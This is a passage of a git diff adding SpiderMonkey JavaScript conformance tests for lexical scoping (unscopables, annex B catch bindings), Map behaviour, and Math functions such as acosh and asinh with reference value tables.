+// no effect on the assignment if it is changed while evaluating the RHS.
+let g;
+with (env) {
+ g = function () {
+ "use strict";
+ k = (env[Symbol.unscopables].k = true, 3);
+ }
+}
+env[Symbol.unscopables].k = false;
+g();
+assertEq(env.k, 3);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/unscopables-tdz.js b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-tdz.js
new file mode 100644
index 000000000..ce6b1df92
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/unscopables-tdz.js
@@ -0,0 +1,9 @@
+// Accessing an uninitialized variable due to @@unscopables is still a ReferenceError.
+
+with ({x: 1, [Symbol.unscopables]: {x: true}})
+ assertThrowsInstanceOf(() => x, ReferenceError);
+
+let x;
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b-eval-destructuring.js b/js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b-eval-destructuring.js
new file mode 100644
index 000000000..06174013e
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b-eval-destructuring.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+assertThrowsInstanceOf(() => evaluate(`try { throw {} } catch ({e}) { var e; }`), SyntaxError);
+assertThrowsInstanceOf(() => evaluate(`try { throw {} } catch ({e}) { eval('var e'); }`), SyntaxError);
+
+assertThrowsInstanceOf(() => new Function(`try { throw {} } catch ({e}) { var e; }`), SyntaxError);
+assertThrowsInstanceOf(new Function(`try { throw {} } catch ({e}) { eval('var e'); }`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b-eval-for-of.js b/js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b-eval-for-of.js
new file mode 100644
index 000000000..901f5c0f7
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b-eval-for-of.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+assertThrowsInstanceOf(() => evaluate(`
+ try { throw null; } catch (e) { eval("for (var e of []) {}") }
+`), SyntaxError);
+
+assertThrowsInstanceOf(new Function(`
+ try { throw null; } catch (e) { eval("for (var e of []) {}") }
+`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b-eval.js b/js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b-eval.js
new file mode 100644
index 000000000..e380846e2
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b-eval.js
@@ -0,0 +1,21 @@
+// Tests annex B.3.5 that introduces a var via direct eval.
+
+var x = "global-x";
+var log = "";
+
+// Tests that direct eval works.
+function g() {
+ try { throw 8; } catch (x) {
+ eval("var x = 42;");
+ log += x;
+ }
+ x = "g";
+ log += x;
+}
+g();
+
+assertEq(x, "global-x");
+assertEq(log, "42g");
+
+if ("reportCompare" in this)
+ reportCompare(true, true)
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b.js b/js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b.js
new file mode 100644
index 000000000..fd8ca41de
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/var-in-catch-body-annex-b.js
@@ -0,0 +1,116 @@
+// Tests annex B.3.5.
+
+assertThrowsInstanceOf(function () {
+ eval(`
+ function f() {
+ let x;
+ try {} catch (x) {
+ var x;
+ }
+ }
+ `);
+}, SyntaxError);
+
+assertThrowsInstanceOf(function () {
+ eval(`
+ function f() {
+ try {} catch (x) {
+ let y;
+ var y;
+ }
+ }
+ `);
+}, SyntaxError);
+
+assertThrowsInstanceOf(function () {
+ eval(`
+ function f() {
+ try {} catch (x) {
+ let x;
+ }
+ }
+ `);
+}, SyntaxError);
+
+assertThrowsInstanceOf(function () {
+ eval(`
+ function f() {
+ try {} catch (x) {
+ const x;
+ }
+ }
+ `);
+}, SyntaxError);
+
+// Tests that redeclaring a var inside the catch is not allowed if there's a
+// body-level lexical.
+assertThrowsInstanceOf(function () {
+ eval(`
+ let x;
+ try {} catch (x) {
+ var x;
+ }
+ `);
+}, SyntaxError);
+
+var log = '';
+var x = 'global-x';
+
+function g() {
+ x = 'g';
+ try { throw 8; } catch (x) {
+ var x = 42;
+ log += x;
+ }
+ log += x;
+}
+g();
+
+// Tests that var declaration is allowed in for-in head.
+function h0() {
+ try {} catch (e) {
+ for (var e in {});
+ }
+}
+h0();
+
+// Tests that var declaration is allowed in C-for head.
+function h1() {
+ try {} catch (e) {
+ for (var e;;);
+ }
+}
+h1();
+
+// Tests that redeclaring a var inside the catch is allowed.
+function h3() {
+ var e;
+ try {} catch (e) {
+ var e;
+ }
+}
+h3();
+
+// Tests that var declaration is not allowed in for-of head.
+assertThrowsInstanceOf(function () {
+ eval(`
+ function h2() {
+ try {} catch (e) { for (var e of {}); }
+ }
+ log += 'unreached';
+ `);
+}, SyntaxError);
+
+if (typeof evaluate === "function") {
+ assertThrowsInstanceOf(function () {
+ evaluate(`
+ let y;
+ try {} catch (y) { var y; }
+ `);
+ }, SyntaxError);
+}
+
+assertEq(log, "42g");
+
+if ("reportCompare" in this)
+ reportCompare(true, true)
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/with-global-ignores-global-let-variables.js b/js/src/tests/ecma_6/LexicalEnvironment/with-global-ignores-global-let-variables.js
new file mode 100644
index 000000000..cce12ef5f
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/with-global-ignores-global-let-variables.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+let v = "global-v";
+
+function f(v, global)
+{
+ with (global)
+ return v;
+}
+
+// Don't use assertEq because it triggers tbpl error-highlighting false
+// positives. When this test isn't fails-if, just use assertEq directly.
+var AssertEq = typeof reportCompare === "function"
+ ? (act, exp, msg) => reportCompare(exp, act, msg)
+ : assertEq;
+
+AssertEq(f("argument-v", this), "argument-v",
+ "let-var shouldn't appear in global for |with| purposes");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Map/NaN-as-key.js b/js/src/tests/ecma_6/Map/NaN-as-key.js
new file mode 100644
index 000000000..6fa5ee67e
--- /dev/null
+++ b/js/src/tests/ecma_6/Map/NaN-as-key.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 722260;
+var summary = 'All NaNs must be treated as identical keys for Map';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/* Avoid constant-folding that would happen were |undefined| to be used. */
+var key = -/a/g.missingProperty;
+
+var m = new Map();
+m.set(key, 17);
+assertEq(m.get(key), 17);
+assertEq(m.get(-key), 17);
+assertEq(m.get(NaN), 17);
+
+m.delete(-key);
+assertEq(m.has(key), false);
+assertEq(m.has(-key), false);
+assertEq(m.has(NaN), false);
+
+m.set(-key, 17);
+assertEq(m.get(key), 17);
+assertEq(m.get(-key), 17);
+assertEq(m.get(NaN), 17);
+
+m.delete(NaN);
+assertEq(m.has(key), false);
+assertEq(m.has(-key), false);
+assertEq(m.has(NaN), false);
+
+m.set(NaN, 17);
+assertEq(m.get(key), 17);
+assertEq(m.get(-key), 17);
+assertEq(m.get(NaN), 17);
+
+m.delete(key);
+assertEq(m.has(key), false);
+assertEq(m.has(-key), false);
+assertEq(m.has(NaN), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Map/browser.js b/js/src/tests/ecma_6/Map/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Map/browser.js
diff --git a/js/src/tests/ecma_6/Map/constructor-iterator-primitive.js b/js/src/tests/ecma_6/Map/constructor-iterator-primitive.js
new file mode 100644
index 000000000..e1fff5c3c
--- /dev/null
+++ b/js/src/tests/ecma_6/Map/constructor-iterator-primitive.js
@@ -0,0 +1,34 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let ctors = [
+ Map,
+ Set,
+ WeakMap,
+ WeakSet
+];
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+for (let ctor of ctors) {
+ for (let primitive of primitives) {
+ let arg = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => new ctor(arg), TypeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Map/forEach-selfhosted-behavior.js b/js/src/tests/ecma_6/Map/forEach-selfhosted-behavior.js
new file mode 100644
index 000000000..ed4d8b57f
--- /dev/null
+++ b/js/src/tests/ecma_6/Map/forEach-selfhosted-behavior.js
@@ -0,0 +1,51 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 987243;
+var summary = "Don't use .call(...) in the self-hosted Map.prototype.forEach";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var functionCall = Function.prototype.call;
+
+function throwSyntaxError()
+{
+ throw new SyntaxError("Function.prototype.call incorrectly called");
+}
+
+function lalala() {}
+
+Function.prototype.call = throwSyntaxError;
+
+new Map().forEach(throwSyntaxError);
+new Map([[1, 2]]).forEach(lalala);
+new Map([[1, 2], [3, 4]]).forEach(lalala);
+
+Function.prototype.call = function() { this.set(42, "fnord"); };
+
+new Map().forEach(throwSyntaxError);
+new Map([[1, 2]]).forEach(lalala);
+new Map([[1, 2], [3, 4]]).forEach(lalala);
+
+var callCount = 0;
+Function.prototype.call = function() { callCount++; };
+
+new Map().forEach(throwSyntaxError);
+new Map([[1, 2]]).forEach(lalala);
+new Map([[1, 2], [3, 4]]).forEach(lalala);
+
+assertEq(callCount, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Map/getter-name.js b/js/src/tests/ecma_6/Map/getter-name.js
new file mode 100644
index 000000000..08f7890c7
--- /dev/null
+++ b/js/src/tests/ecma_6/Map/getter-name.js
@@ -0,0 +1,10 @@
+var BUGNUMBER = 1180290;
+var summary = 'Map getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(Map, Symbol.species).get.name, "get [Symbol.species]");
+assertEq(Object.getOwnPropertyDescriptor(Map.prototype, "size").get.name, "get size");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Map/iterable.js b/js/src/tests/ecma_6/Map/iterable.js
new file mode 100644
index 000000000..cf6b7228a
--- /dev/null
+++ b/js/src/tests/ecma_6/Map/iterable.js
@@ -0,0 +1,28 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+let length;
+let iterable = {
+ [Symbol.iterator]() { return this; },
+ next() { length = arguments.length; return {done: true}; }
+};
+
+new Map(iterable);
+// ensure no arguments are passed to next() during construction (Bug 1197095)
+assertEq(length, 0);
+
+let typeofThis;
+Object.defineProperty(Number.prototype, Symbol.iterator, {
+ value() {
+ "use strict";
+ typeofThis = typeof this;
+ return { next() { return {done: true}; } };
+ }
+});
+
+new Map(0);
+// ensure that iterable objects retain their type (Bug 1197094)
+assertEq(typeofThis, "number");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Map/shell.js b/js/src/tests/ecma_6/Map/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Map/shell.js
diff --git a/js/src/tests/ecma_6/Map/symbols.js b/js/src/tests/ecma_6/Map/symbols.js
new file mode 100644
index 000000000..30589a973
--- /dev/null
+++ b/js/src/tests/ecma_6/Map/symbols.js
@@ -0,0 +1,33 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var m = new Map;
+
+// Symbols can be Map keys.
+var sym = Symbol();
+m.set(sym, "zero");
+assertEq(m.has(sym), true);
+assertEq(m.get(sym), "zero");
+assertEq(m.has(Symbol()), false);
+assertEq(m.get(Symbol()), undefined);
+assertEq([...m][0][0], sym);
+m.set(sym, "replaced");
+assertEq(m.get(sym), "replaced");
+m.delete(sym);
+assertEq(m.has(sym), false);
+assertEq(m.size, 0);
+
+// Symbols returned by Symbol.for() can be Map keys.
+for (var word of "that that is is that that is not is not is that not it".split(' ')) {
+ sym = Symbol.for(word);
+ m.set(sym, (m.get(sym) || 0) + 1);
+}
+assertDeepEq([...m], [
+ [Symbol.for("that"), 5],
+ [Symbol.for("is"), 5],
+ [Symbol.for("not"), 3],
+ [Symbol.for("it"), 1]
+]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Math/20.2.2.ToNumber.js b/js/src/tests/ecma_6/Math/20.2.2.ToNumber.js
new file mode 100644
index 000000000..de1f4e612
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/20.2.2.ToNumber.js
@@ -0,0 +1,112 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * ECMA-262 6th Edition / Draft November 8, 2013
+ *
+ * 20.2.2 Function Properties of the Math Object
+ */
+
+/*
+ * This custom object will allow us to check if valueOf() is called
+ */
+
+TestNumber.prototype = new Number();
+
+function TestNumber(value) {
+ this.value = value;
+ this.valueOfCalled = false;
+}
+
+TestNumber.prototype = {
+ valueOf: function() {
+ this.valueOfCalled = true;
+ return this.value;
+ }
+}
+
+// Verify that each TestNumber's flag is set after calling Math func
+function test(func /*, args */) {
+ var args = Array.prototype.slice.call(arguments, 1);
+ func.apply(null, args);
+
+ for (var i = 0; i < args.length; ++i)
+ assertEq(args[i].valueOfCalled, true);
+}
+
+// Note that we are not testing these functions' return values
+// We only test whether valueOf() is called for each argument
+
+// 1. Test Math.atan2()
+var x = new TestNumber(1);
+test(Math.atan2, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.atan2, y, x);
+
+// Remove comment block once patch for bug 896264 is approved
+/*
+// 2. Test Math.hypot()
+var x = new TestNumber(1);
+test(Math.hypot, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.hypot, x, y);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+var z = new TestNumber(3);
+test(Math.hypot, x, y, z);
+*/
+
+// Remove comment block once patch for bug 808148 is approved
+/*
+// 3. Test Math.imul()
+var x = new TestNumber(1);
+test(Math.imul, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.imul, x, y);
+*/
+
+// 4. Test Math.max()
+var x = new TestNumber(1);
+test(Math.max, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.max, x, y);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+var z = new TestNumber(3);
+test(Math.max, x, y, z);
+
+// 5. Test Math.min()
+var x = new TestNumber(1);
+test(Math.min, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.min, x, y);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+var z = new TestNumber(3);
+test(Math.min, x, y, z);
+
+// 6. Test Math.pow()
+var x = new TestNumber(1);
+test(Math.pow, x);
+
+var x = new TestNumber(1);
+var y = new TestNumber(2);
+test(Math.pow, x, y);
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/ecma_6/Math/acosh-approx.js b/js/src/tests/ecma_6/Math/acosh-approx.js
new file mode 100644
index 000000000..3854a5909
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/acosh-approx.js
@@ -0,0 +1,283 @@
+var cosh_data = [
+ [1.0000014305114746, 0.0016914556651292944],
+ [1.0000019073486328, 0.001953124689559275],
+ [1.000007152557373, 0.003782208044661295],
+ [1.000013828277588, 0.005258943946801101],
+ [1.0000171661376953, 0.005859366618129203],
+ [1.0000600814819336, 0.010961831992188852],
+ [1.0001168251037598, 0.015285472131830425],
+ [1.0001487731933594, 0.017249319093529877],
+ [1.0003981590270996, 0.028218171738655373],
+ [1.000638484954834, 0.03573281468231457],
+ [1.0010714530944824, 0.046287402472878776],
+ [1.0030217170715332, 0.07771996527168971],
+ [1.0049939155578613, 0.0998975930860278],
+ [1.0092840194702148, 0.13615938768032465],
+ [1.024169921875, 0.21942279004958354],
+ [1.0622773170471191, 0.3511165938166055],
+ [1.1223440170288086, 0.48975026711288183],
+ [1.2495574951171875, 0.692556883708491],
+ [1.4912219047546387, 0.954530572221414],
+ [1.9838471412658691, 1.307581416910453],
+ [2.1576128005981445, 1.4035188779741334],
+ [2.406397819519043, 1.5250070845427517],
+ [3.386958122253418, 1.8905372013072799],
+ [4.451677322387695, 2.1735673399948254],
+ [6.9391326904296875, 2.625091127868242],
+ [7.756023406982422, 2.737434918695162],
+ [8.882369995117188, 2.8740317167801948],
+ [9.869171142578125, 2.97998639328949],
+ [16.848876953125, 3.516549380542481],
+ [16.88458251953125, 3.51867003468025],
+ [18.18859100341797, 3.593185165198829],
+ [18.82012176513672, 3.6273672142963385],
+ [19.184181213378906, 3.646553244410946],
+ [24.039520263671875, 3.872413451393967],
+ [26.556991577148438, 3.972085568933329],
+ [27.921104431152344, 4.022209178119238],
+ [32.314666748046875, 4.168428891496629],
+ [34.73008728027344, 4.240546229861005],
+ [36.51556396484375, 4.290698214968891],
+ [38.851287841796875, 4.352722738491574],
+ [49.46875, 4.594386162629449],
+ [49.67265319824219, 4.598500387004538],
+ [55.821014404296875, 4.7152173401856095],
+ [57.119781494140625, 4.73822104001982],
+ [60.37983703613281, 4.793733825338029],
+ [63.4661865234375, 4.8435923769530165],
+ [63.822418212890625, 4.849190310904695],
+ [64.36642456054688, 4.85767897228448],
+ [65.82318115234375, 4.880061548144127],
+ [68.60302734375, 4.921430721025434],
+ [70.173583984375, 4.94406835208057],
+ [71.80126953125, 4.967000841791218],
+ [75.40786743164062, 5.016014824864732],
+ [75.49771118164062, 5.017205657609766],
+ [78.06475830078125, 5.0506448716550825],
+ [79.64892578125, 5.0707363201405276],
+ [79.8707275390625, 5.073517411135063],
+ [82.14324951171875, 5.101574796209937],
+ [86.42214965820312, 5.152357710985635],
+ [87.75869750976562, 5.167705692500117],
+ [94.24942016601562, 5.2390637098028074],
+ [95.00259399414062, 5.247023676519904],
+ [96.06402587890625, 5.258134994273664],
+ [99.10101318359375, 5.289261389093961],
+ [104.82595825195312, 5.345425863147171],
+ [105.89431762695312, 5.3555664787245885],
+ [106.750244140625, 5.363617180711895],
+ [109.40167236328125, 5.388152468690488],
+ [111.29598999023438, 5.405320225963013],
+ [112.68215942382812, 5.417698597745429],
+ [115.84786987304688, 5.445406415908933],
+ [122.51895141601562, 5.501396249028249],
+ [126.29083251953125, 5.531718947357248],
+ [127.88677978515625, 5.544277233951787],
+ [128.29241943359375, 5.547444176085567],
+ [129.49658203125, 5.556786759298988],
+ [138.73651123046875, 5.625710723366437],
+ [139.18450927734375, 5.628934733085022],
+ [139.9705810546875, 5.634566685055491],
+ [143.6336669921875, 5.660401141376928],
+ [149.2176513671875, 5.698541939965668],
+ [150.61602783203125, 5.7078698961812995],
+ [151.65460205078125, 5.714741890601693],
+ [154.77532958984375, 5.735111323217677],
+ [158.9586181640625, 5.761781191641161],
+ [159.23260498046875, 5.763503378028959],
+ [166.89166259765625, 5.810483079631769],
+ [169.22418212890625, 5.824362807770767],
+ [170.85247802734375, 5.833939098607025],
+ [175.641845703125, 5.861586030831371],
+ [176.47808837890625, 5.866335876872544],
+ [177.0284423828125, 5.869449614294116],
+ [178.81622314453125, 5.879497954012966],
+ [181.28570556640625, 5.893213844044451],
+ [190.84246826171875, 5.944588630523773],
+ [191.39764404296875, 5.947493525920713],
+ [194.2606201171875, 5.962341215900494],
+ [194.89630126953125, 5.9656082276276],
+ [196.72125244140625, 5.9749284849312865],
+ [196.76788330078125, 5.975165500176202],
+ [198.0592041015625, 5.981706804024238],
+ [199.97052001953125, 5.991310884439669],
+ [202.70001220703125, 6.004868209578554],
+ [204.95684814453125, 6.0159406892865155],
+ [206.92059326171875, 6.025476453825986],
+ [211.4588623046875, 6.047172064627678],
+ [211.6217041015625, 6.0479418642231595],
+ [212.15936279296875, 6.050479329955437],
+ [219.93341064453125, 6.086466833749719],
+ [223.34747314453125, 6.101870903204913],
+ [228.56036376953125, 6.1249427443985525],
+ [229.53656005859375, 6.129204755426344],
+ [231.15753173828125, 6.136241935513706],
+ [235.22589111328125, 6.153688953514383],
+ [237.17108154296875, 6.1619244798633215],
+ [237.904541015625, 6.165012268502458],
+ [243.202392578125, 6.187036941752032],
+ [244.296875, 6.191527178125454],
+ [245.39239501953125, 6.196001570568187],
+ [245.80389404296875, 6.197677082130341],
+ [249.68365478515625, 6.2133379061260285],
+ [252.32763671875, 6.223871642756905],
+ [253.4725341796875, 6.228398760115369],
+ [264.1583251953125, 6.269692237869835],
+ [265.867919921875, 6.276143287577458],
+ [273.893798828125, 6.305884283737176],
+ [274.060546875, 6.306492908028797],
+ [274.06298828125, 6.3065018163217115],
+ [275.31201171875, 6.31104892482331],
+ [281.2171630859375, 6.3322712125431915],
+ [284.3428955078125, 6.343324976847916],
+ [284.8428955078125, 6.345081883725142],
+ [287.3035888671875, 6.353683609448096],
+ [290.8973388671875, 6.366114643735997],
+ [293.0467529296875, 6.373476431987165],
+ [293.048583984375, 6.3734826803404045],
+ [296.819091796875, 6.3862671775996915],
+ [297.6572265625, 6.389086936901673],
+ [308.40625, 6.424562459508495],
+ [316.5472412109375, 6.4506171773701535],
+ [320.2418212890625, 6.462221144761522],
+ [322.33642578125, 6.468740575092418],
+ [323.5101318359375, 6.472375224718483],
+ [327.8939208984375, 6.485834999462654],
+ [328.0833740234375, 6.486412623146554],
+ [328.214599609375, 6.486812521370483],
+ [332.13916015625, 6.498698952535687],
+ [339.6888427734375, 6.521175044233963],
+ [340.171630859375, 6.522595306993373],
+ [340.22998046875, 6.522766822935215],
+ [340.9984130859375, 6.52502285413445],
+ [347.719482421875, 6.5445411825986985],
+ [347.921142578125, 6.5451209675856825],
+ [349.8392333984375, 6.55061885367159],
+ [353.1812744140625, 6.560126626713879],
+ [353.3170166015625, 6.560510895819139],
+ [354.9730224609375, 6.565186990039135],
+ [355.6412353515625, 6.567067660815945],
+ [363.193603515625, 6.588081320423386],
+ [363.7503662109375, 6.5896131163651415],
+ [366.66650390625, 6.597598047275183],
+ [370.5828857421875, 6.608222493065004],
+ [371.822998046875, 6.611563301604297],
+ [375.8822021484375, 6.622421213257873],
+ [377.1107177734375, 6.625684248051368],
+ [377.588623046875, 6.626950731244344],
+ [378.8428955078125, 6.630267034079059],
+ [379.1123046875, 6.630977920761718],
+ [381.1038818359375, 6.636217452968849],
+ [382.1112060546875, 6.638857149899159],
+ [382.9927978515625, 6.641161660644278],
+ [387.1845703125, 6.652047018118426],
+ [389.669921875, 6.658445560711748],
+ [389.804443359375, 6.658790721334144],
+ [396.3114013671875, 6.675345858154136],
+ [397.005126953125, 6.677094789236718],
+ [397.1934814453125, 6.6775691166680895],
+ [397.8046875, 6.679106750673113],
+ [398.8426513671875, 6.681712590609845],
+ [399.1663818359375, 6.682523938576487],
+ [399.2547607421875, 6.68274532345516],
+ [400.33984375, 6.685459416477178],
+ [403.9578857421875, 6.694456277839498],
+ [404.279541015625, 6.6952522228540765],
+ [405.0574951171875, 6.6971746771142415],
+ [407.328125, 6.702764738337774],
+ [407.547119140625, 6.7033022311799595],
+ [410.5994873046875, 6.710763953621196],
+ [410.8016357421875, 6.711256159037373],
+ [411.129638671875, 6.712054288828399],
+ [411.9053955078125, 6.713939407502346],
+ [415.5833740234375, 6.722828986708716],
+ [417.669189453125, 6.727835453862132],
+ [420.517822265625, 6.734632628835641],
+ [424.3853759765625, 6.743787740494532],
+ [424.7154541015625, 6.744565219553757],
+ [436.3419189453125, 6.7715720212680655],
+ [438.501953125, 6.776510146304201],
+ [439.3369140625, 6.778412462065226],
+ [445.5606689453125, 6.79247934060035],
+ [452.9901123046875, 6.809016260337229],
+ [453.77490234375, 6.810747231716348],
+ [456.7745361328125, 6.817335895109251],
+ [457.9520263671875, 6.819910421197311],
+ [458.6795654296875, 6.821497844004013],
+ [460.5164794921875, 6.8254946428721475],
+ [461.8717041015625, 6.828433164406687],
+ [464.7025146484375, 6.834543470287694],
+ [467.0626220703125, 6.839609377592375],
+ [467.0712890625, 6.839627933844213],
+ [470.096923828125, 6.846084943645239],
+ [475.1607666015625, 6.856799276049143],
+ [477.5537109375, 6.861822721577315],
+ [478.626220703125, 6.864066049482581],
+ [478.7958984375, 6.864420497333681],
+ [479.6864013671875, 6.866278653973069],
+ [479.7867431640625, 6.866487814627139],
+ [479.9122314453125, 6.8667493311188395],
+ [482.4793701171875, 6.872084270243208],
+ [482.5181884765625, 6.872164723177875],
+ [483.8797607421875, 6.874982560453874],
+ [484.4649658203125, 6.876191234145179],
+ [485.3258056640625, 6.877966548833207],
+ [490.57373046875, 6.888721726428236],
+ [493.7423095703125, 6.89515989558997],
+ [494.272216796875, 6.896232568812718],
+ [496.44775390625, 6.900624415355815],
+ [497.0401611328125, 6.901816998553275],
+ [498.234130859375, 6.9042162822876465],
+ [665.0791015625, 7.193052598670793],
+ [1170.29150390625, 7.758155143419732],
+ [2058.7958984375, 8.323023697145112],
+ [5824.533203125, 9.36298131161099],
+ [9114.30859375, 9.810748008110926],
+ [31388.40625, 11.047341056314202],
+ [53732.765625, 11.584925435512535],
+ [117455.09375, 12.366958539207397],
+ [246210.625, 13.107089828327874],
+ [513670.125, 13.84248373881162],
+ [788353.25, 14.27084873575108],
+ [1736171, 15.060339852215408],
+ [3770530, 15.835873313657556],
+ [4344090, 15.977474039173265],
+ [11419360, 16.943967899150145],
+ [31023240, 17.943394339560967],
+ [40665424, 18.214035936745432],
+ [129788064, 19.374560581709215],
+ [225668224, 19.927723623778547],
+ [450631936, 20.619308638400597],
+ [750941952, 21.129986093026698],
+ [1887358976, 22.05159150215413],
+ [3738011648, 22.734966842639743],
+ [7486695424, 23.42954051928097],
+ [12668080128, 23.955498471391667],
+ [23918272512, 24.591055724582848],
+ [48862560256, 25.305424481799395],
+ [113763549184, 26.150535181949436],
+ [161334755328, 26.499894449532565],
+ [321933279232, 27.19075733422632],
+ [715734122496, 27.989721778208146],
+ [1875817529344, 28.953212876533797]
+];
+
+var sloppy_tolerance = 8; // FIXME
+
+for (var [x, y] of cosh_data)
+ assertNear(Math.acosh(x), y, sloppy_tolerance);
+
+assertNear(Math.acosh(1e300), 691.4686750787737, sloppy_tolerance);
+assertNear(Math.acosh(1.0000000001), 0.000014142136208675862, sloppy_tolerance);
+
+for (var i = 0; i <= 100; i++) {
+ var x = (i - 50) / 5;
+ var y = Math.cosh(x);
+ var z = Math.acosh(y);
+ assertNear(z, Math.abs(x), sloppy_tolerance);
+}
+
+for (var i = 1; i < 20; i++)
+ assertNear(Math.acosh(Math.cosh(i)), i, sloppy_tolerance);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/acosh-exact.js b/js/src/tests/ecma_6/Math/acosh-exact.js
new file mode 100644
index 000000000..ededaa48e
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/acosh-exact.js
@@ -0,0 +1,26 @@
+// Properties of Math.acosh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.acosh(NaN), NaN);
+
+// If x is less than 1, the result is NaN.
+assertEq(Math.acosh(ONE_MINUS_EPSILON), NaN);
+assertEq(Math.acosh(Number.MIN_VALUE), NaN);
+assertEq(Math.acosh(+0), NaN);
+assertEq(Math.acosh(-0), NaN);
+assertEq(Math.acosh(-Number.MIN_VALUE), NaN);
+assertEq(Math.acosh(-1), NaN);
+assertEq(Math.acosh(-Number.MAX_VALUE), NaN);
+assertEq(Math.acosh(-Infinity), NaN);
+
+for (var i = -20; i < 1; i++)
+ assertEq(Math.acosh(i), NaN);
+
+// If x is 1, the result is +0.
+assertEq(Math.acosh(1), +0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.acosh(Number.POSITIVE_INFINITY), Number.POSITIVE_INFINITY);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/asinh-approx.js b/js/src/tests/ecma_6/Math/asinh-approx.js
new file mode 100644
index 000000000..354454fb4
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/asinh-approx.js
@@ -0,0 +1,303 @@
+var sinh_data = [
+ [-497.181640625, -6.902103625349695],
+ [-495.216552734375, -6.898143347143859],
+ [-488.0980224609375, -6.883664481302669],
+ [-486.4609375, -6.880304842490273],
+ [-482.2261962890625, -6.871561546509046],
+ [-468.167236328125, -6.841973895837549],
+ [-465.553955078125, -6.836376331805493],
+ [-464.288330078125, -6.833654100575195],
+ [-463.558837890625, -6.8320816635009045],
+ [-453.82861328125, -6.8108680173663085],
+ [-448.7835693359375, -6.799689165151487],
